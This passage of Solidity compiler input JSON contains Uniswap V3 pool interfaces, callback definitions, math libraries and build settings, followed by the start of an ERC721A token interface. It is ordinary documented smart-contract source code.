"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#swap\n/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface\ninterface IUniswapV3SwapCallback {\n /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.\n /// @dev In the implementation you must pay the pool tokens owed for the swap.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.\n /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.\n /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/callback/IUniswapV3FlashCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#flash\n/// @notice Any contract that calls IUniswapV3PoolActions#flash must implement this interface\ninterface IUniswapV3FlashCallback {\n /// @notice Called to `msg.sender` after transferring to the recipient from IUniswapV3Pool#flash.\n /// @dev In the implementation you must repay the pool the tokens sent by flash plus the computed fee amounts.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param fee0 The fee amount in token0 due to the pool by the end of the flash\n /// @param fee1 The fee amount in token1 due to the pool by the end of the flash\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#flash call\n function uniswapV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolImmutables.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that never changes\n/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values\ninterface IUniswapV3PoolImmutables {\n /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface\n /// @return The contract address\n function factory() external view returns (address);\n\n /// @notice The first of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token0() external view returns (address);\n\n /// @notice The second of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token1() external view returns (address);\n\n /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6\n /// @return The fee\n function fee() external view returns (uint24);\n\n /// @notice The pool tick spacing\n /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive\n /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...\n /// This value is an int24 to avoid casting even though it is always positive.\n /// @return The tick spacing\n function tickSpacing() external view returns (int24);\n\n /// @notice The maximum amount of position liquidity that can use any tick in the range\n /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and\n /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool\n /// @return The max amount of liquidity per tick\n function maxLiquidityPerTick() external view returns (uint128);\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolState.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that can change\n/// @notice These methods compose the pool's state, and can change with any frequency including multiple times\n/// per transaction\ninterface IUniswapV3PoolState {\n /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas\n /// when accessed externally.\n /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value\n /// tick The current tick of the pool, i.e. according to the last tick transition that was run.\n /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick\n /// boundary.\n /// observationIndex The index of the last oracle observation that was written,\n /// observationCardinality The current maximum number of observations stored in the pool,\n /// observationCardinalityNext The next maximum number of observations, to be updated when the observation.\n /// feeProtocol The protocol fee for both tokens of the pool.\n /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0\n /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.\n /// unlocked Whether the pool is currently locked to reentrancy\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n\n /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal0X128() external view returns (uint256);\n\n /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal1X128() external view returns (uint256);\n\n /// @notice The amounts of token0 and token1 that are owed to the protocol\n /// @dev Protocol fees will never exceed uint128 max in either token\n function protocolFees() external view returns (uint128 token0, uint128 token1);\n\n /// @notice The currently in range liquidity available to the pool\n /// @dev This value has no relationship to the total liquidity across all ticks\n function liquidity() external view returns (uint128);\n\n /// @notice Look up information about a specific tick in the pool\n /// @param tick The tick to look up\n /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or\n /// tick upper,\n /// liquidityNet how much liquidity changes when the pool price crosses the tick,\n /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,\n /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,\n /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick\n /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,\n /// secondsOutside the seconds spent on the other side of the tick from the current tick,\n /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.\n /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.\n /// In addition, these values are only relative and must be used only in comparison to previous snapshots for\n /// a specific position.\n function ticks(int24 tick)\n external\n view\n returns (\n uint128 liquidityGross,\n int128 liquidityNet,\n uint256 feeGrowthOutside0X128,\n uint256 feeGrowthOutside1X128,\n int56 tickCumulativeOutside,\n uint160 secondsPerLiquidityOutsideX128,\n uint32 secondsOutside,\n bool initialized\n );\n\n /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information\n function tickBitmap(int16 wordPosition) external view returns (uint256);\n\n /// @notice Returns the information about a position by the position's key\n /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper\n /// @return _liquidity The amount of liquidity in the position,\n /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,\n /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,\n /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,\n /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke\n function positions(bytes32 key)\n external\n view\n returns (\n uint128 _liquidity,\n uint256 feeGrowthInside0LastX128,\n uint256 feeGrowthInside1LastX128,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n );\n\n /// @notice Returns data about a specific observation index\n /// @param index The element of the observations array to fetch\n /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time\n /// ago, rather than at a specific index in the array.\n /// @return blockTimestamp The timestamp of the observation,\n /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,\n /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,\n /// Returns initialized whether the observation has been initialized and the values are safe to use\n function observations(uint256 index)\n external\n view\n returns (\n uint32 blockTimestamp,\n int56 tickCumulative,\n uint160 secondsPerLiquidityCumulativeX128,\n bool initialized\n );\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that is not stored\n/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the\n/// blockchain. The functions here may have variable gas costs.\ninterface IUniswapV3PoolDerivedState {\n /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp\n /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing\n /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,\n /// you must call it with secondsAgos = [3600, 0].\n /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in\n /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.\n /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned\n /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp\n /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block\n /// timestamp\n function observe(uint32[] calldata secondsAgos)\n external\n view\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);\n\n /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range\n /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.\n /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first\n /// snapshot is taken and the second snapshot is taken.\n /// @param tickLower The lower tick of the range\n /// @param tickUpper The upper tick of the range\n /// @return tickCumulativeInside The snapshot of the tick accumulator for the range\n /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range\n /// @return secondsInside The snapshot of seconds per liquidity for the range\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n );\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolActions.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissionless pool actions\n/// @notice Contains pool methods that can be called by anyone\ninterface IUniswapV3PoolActions {\n /// @notice Sets the initial price for the pool\n /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value\n /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96\n function initialize(uint160 sqrtPriceX96) external;\n\n /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position\n /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback\n /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends\n /// on tickLower, tickUpper, the amount of liquidity, and the current price.\n /// @param recipient The address for which the liquidity will be created\n /// @param tickLower The lower tick of the position in which to add liquidity\n /// @param tickUpper The upper tick of the position in which to add liquidity\n /// @param amount The amount of liquidity to mint\n /// @param data Any data that should be passed through to the callback\n /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback\n /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Collects tokens owed to a position\n /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.\n /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or\n /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the\n /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.\n /// @param recipient The address which should receive the fees collected\n /// @param tickLower The lower tick of the position for which to collect fees\n /// @param tickUpper The upper tick of the position for which to collect fees\n /// @param amount0Requested How much token0 should be withdrawn from the fees owed\n /// @param amount1Requested How much token1 should be withdrawn from the fees owed\n /// @return amount0 The amount of fees collected in token0\n /// @return amount1 The amount of fees collected in token1\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position\n /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0\n /// @dev Fees must be collected separately via a call to #collect\n /// @param tickLower The lower tick of the position for which to burn liquidity\n /// @param tickUpper The upper tick of the position for which to burn liquidity\n /// @param amount How much liquidity to burn\n /// @return amount0 The amount of token0 sent to the recipient\n /// @return amount1 The amount of token1 sent to the recipient\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Swap token0 for token1, or token1 for token0\n /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback\n /// @param recipient The address to receive the output of the swap\n /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0\n /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)\n /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this\n /// value after the swap. If one for zero, the price cannot be greater than this value after the swap\n /// @param data Any data to be passed through to the callback\n /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive\n /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback\n /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback\n /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling\n /// with 0 amount{0,1} and sending the donation amount(s) from the callback\n /// @param recipient The address which will receive the token0 and token1 amounts\n /// @param amount0 The amount of token0 to send\n /// @param amount1 The amount of token1 to send\n /// @param data Any data to be passed through to the callback\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external;\n\n /// @notice Increase the maximum number of price and liquidity observations that this pool will store\n /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to\n /// the input observationCardinalityNext.\n /// @param observationCardinalityNext The desired minimum number of observations for the pool to store\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissioned pool actions\n/// @notice Contains pool methods that may only be called by the factory owner\ninterface IUniswapV3PoolOwnerActions {\n /// @notice Set the denominator of the protocol's % share of the fees\n /// @param feeProtocol0 new protocol fee for token0 of the pool\n /// @param feeProtocol1 new protocol fee for token1 of the pool\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;\n\n /// @notice Collect the protocol fee accrued to the pool\n /// @param recipient The address to which collected protocol fees should be sent\n /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1\n /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0\n /// @return amount0 The protocol fee collected in token0\n /// @return amount1 The protocol fee collected in token1\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolEvents.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Events emitted by a pool\n/// @notice Contains all events emitted by the pool\ninterface IUniswapV3PoolEvents {\n /// @notice Emitted exactly once by a pool when #initialize is first called on the pool\n /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize\n /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96\n /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool\n event Initialize(uint160 sqrtPriceX96, int24 tick);\n\n /// @notice Emitted when liquidity is minted for a given position\n /// @param sender The address that minted the liquidity\n /// @param owner The owner of the position and recipient of any minted liquidity\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity minted to the position range\n /// @param amount0 How much token0 was required for the minted liquidity\n /// @param amount1 How much token1 was required for the minted liquidity\n event Mint(\n address sender,\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted when fees are collected by the owner of a position\n /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees\n /// @param owner The owner of the position for which fees are collected\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount0 The amount of token0 fees collected\n /// @param amount1 The amount of token1 fees collected\n event Collect(\n address indexed owner,\n address recipient,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount0,\n uint128 amount1\n );\n\n /// @notice Emitted when a position's liquidity is removed\n /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect\n /// @param owner The owner of the position for which liquidity is removed\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity to remove\n /// @param amount0 The amount of token0 withdrawn\n /// @param amount1 The amount of token1 withdrawn\n event Burn(\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted by the pool for any swaps between token0 and token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the output of the swap\n /// @param amount0 The delta of the token0 balance of the pool\n /// @param amount1 The delta of the token1 balance of the pool\n /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96\n /// @param liquidity The liquidity of the pool after the swap\n /// @param tick The log base 1.0001 of price of the pool after the swap\n event Swap(\n address indexed sender,\n address indexed recipient,\n int256 amount0,\n int256 amount1,\n uint160 sqrtPriceX96,\n uint128 liquidity,\n int24 tick\n );\n\n /// @notice Emitted by the pool for any flashes of token0/token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the tokens from flash\n /// @param amount0 The amount of token0 that was flashed\n /// @param amount1 The amount of token1 that was flashed\n /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee\n /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee\n event Flash(\n address indexed sender,\n address indexed recipient,\n uint256 amount0,\n uint256 amount1,\n uint256 paid0,\n uint256 paid1\n );\n\n /// @notice Emitted by the pool for increases to the number of observations that can be stored\n /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index\n /// just before a mint/swap/burn.\n /// @param observationCardinalityNextOld The previous value of the next observation cardinality\n /// @param observationCardinalityNextNew The updated value of the next observation cardinality\n event IncreaseObservationCardinalityNext(\n uint16 observationCardinalityNextOld,\n uint16 observationCardinalityNextNew\n );\n\n /// @notice Emitted when the protocol fee is changed by the pool\n /// @param feeProtocol0Old The previous value of the token0 protocol fee\n /// @param feeProtocol1Old The previous value of the token1 protocol fee\n /// @param feeProtocol0New The updated value of the token0 protocol fee\n /// @param feeProtocol1New The updated value of the token1 protocol fee\n event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);\n\n /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner\n /// @param sender The address that collects the protocol fees\n /// @param recipient The address that receives the collected protocol fees\n /// @param amount0 The amount of token0 protocol fees that is withdrawn\n /// @param amount0 The amount of token1 protocol fees that is withdrawn\n event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);\n}\n"
},
"contracts/libraries/BitMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title BitMath\n/// @dev This library provides functionality for computing bit properties of an unsigned integer\nlibrary BitMath {\n /// @notice Returns the index of the most significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// x >= 2**mostSignificantBit(x) and x < 2**(mostSignificantBit(x)+1)\n /// @param x the value for which to compute the most significant bit, must be greater than 0\n /// @return r the index of the most significant bit\n function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n r += 128;\n }\n if (x >= 0x10000000000000000) {\n x >>= 64;\n r += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n r += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n r += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n r += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n r += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n r += 2;\n }\n if (x >= 0x2) r += 1;\n }\n\n /// @notice Returns the index of the least significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// (x & 2**leastSignificantBit(x)) != 0 and (x & (2**(leastSignificantBit(x)) - 1)) == 0)\n /// @param x the value for which to compute the least significant bit, must be greater than 0\n /// @return r the index of the least significant bit\n function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n r = 255;\n if (x & type(uint128).max > 0) {\n r -= 128;\n } else {\n x >>= 128;\n }\n if (x & type(uint64).max > 0) {\n r -= 64;\n } else {\n x >>= 64;\n }\n if (x & type(uint32).max > 0) {\n r -= 32;\n } else {\n x >>= 32;\n }\n if (x & type(uint16).max > 0) {\n r -= 16;\n } else {\n x >>= 16;\n }\n if (x & type(uint8).max > 0) {\n r -= 8;\n } else {\n x >>= 8;\n }\n if (x & 0xf > 0) {\n r -= 4;\n } else {\n x >>= 4;\n }\n if (x & 0x3 > 0) {\n r -= 2;\n } else {\n x >>= 2;\n }\n if (x & 0x1 > 0) r -= 1;\n }\n}\n"
},
"contracts/libraries/UnsafeMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math functions that do not check inputs or outputs\n/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks\nlibrary UnsafeMath {\n /// @notice Returns ceil(x / y)\n /// @dev division by 0 has unspecified behavior, and must be checked externally\n /// @param x The dividend\n /// @param y The divisor\n /// @return z The quotient, ceil(x / y)\n function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {\n assembly {\n z := add(div(x, y), gt(mod(x, y), 0))\n }\n }\n}\n"
},
"contracts/libraries/FixedPoint96.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint96\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\n/// @dev Used in SqrtPriceMath.sol\nlibrary FixedPoint96 {\n uint8 internal constant RESOLUTION = 96;\n uint256 internal constant Q96 = 0x1000000000000000000000000;\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 800
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"libraries": {}
}
}}
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{{
"language": "Solidity",
"sources": {
"lib/ERC721A/contracts/IERC721A.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\n/**\n * @dev Interface of ERC721A.\n */\ninterface IERC721A {\n /**\n * The caller must own the token or be an approved operator.\n */\n error ApprovalCallerNotOwnerNorApproved();\n\n /**\n * The token does not exist.\n */\n error ApprovalQueryForNonexistentToken();\n\n /**\n * Cannot query the balance for the zero address.\n */\n error BalanceQueryForZeroAddress();\n\n /**\n * Cannot mint to the zero address.\n */\n error MintToZeroAddress();\n\n /**\n * The quantity of tokens minted must be more than zero.\n */\n error MintZeroQuantity();\n\n /**\n * The token does not exist.\n */\n error OwnerQueryForNonexistentToken();\n\n /**\n * The caller must own the token or be an approved operator.\n */\n error TransferCallerNotOwnerNorApproved();\n\n /**\n * The token must be owned by `from`.\n */\n error TransferFromIncorrectOwner();\n\n /**\n * Cannot safely transfer to a contract that does not implement the\n * ERC721Receiver interface.\n */\n error TransferToNonERC721ReceiverImplementer();\n\n /**\n * Cannot transfer to the zero address.\n */\n error TransferToZeroAddress();\n\n /**\n * The token does not exist.\n */\n error URIQueryForNonexistentToken();\n\n /**\n * The `quantity` minted with ERC2309 exceeds the safety limit.\n */\n error MintERC2309QuantityExceedsLimit();\n\n /**\n * The `extraData` cannot be set on an unintialized ownership slot.\n */\n error OwnershipNotInitializedForExtraData();\n\n // =============================================================\n // STRUCTS\n // =============================================================\n\n struct TokenOwnership {\n // The address of the owner.\n address addr;\n // Stores the start time of ownership with minimal overhead for tokenomics.\n uint64 startTimestamp;\n // Whether the token has been burned.\n bool burned;\n // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.\n uint24 extraData;\n }\n\n // =============================================================\n // TOKEN COUNTERS\n // =============================================================\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() external view returns (uint256);\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n // =============================================================\n // IERC721\n // =============================================================\n\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables\n * (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`,\n * checking first that contract recipients are aware of the ERC721 protocol\n * to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move\n * this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom}\n * whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n // =============================================================\n // IERC2309\n // =============================================================\n\n /**\n * @dev Emitted when tokens in `fromTokenId` to `toTokenId`\n * (inclusive) is transferred from `from` to `to`, as defined in the\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.\n *\n * See {_mintERC2309} for more details.\n */\n event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);\n}\n"
},
"lib/openzeppelin-contracts/contracts/interfaces/IERC2981.sol": {
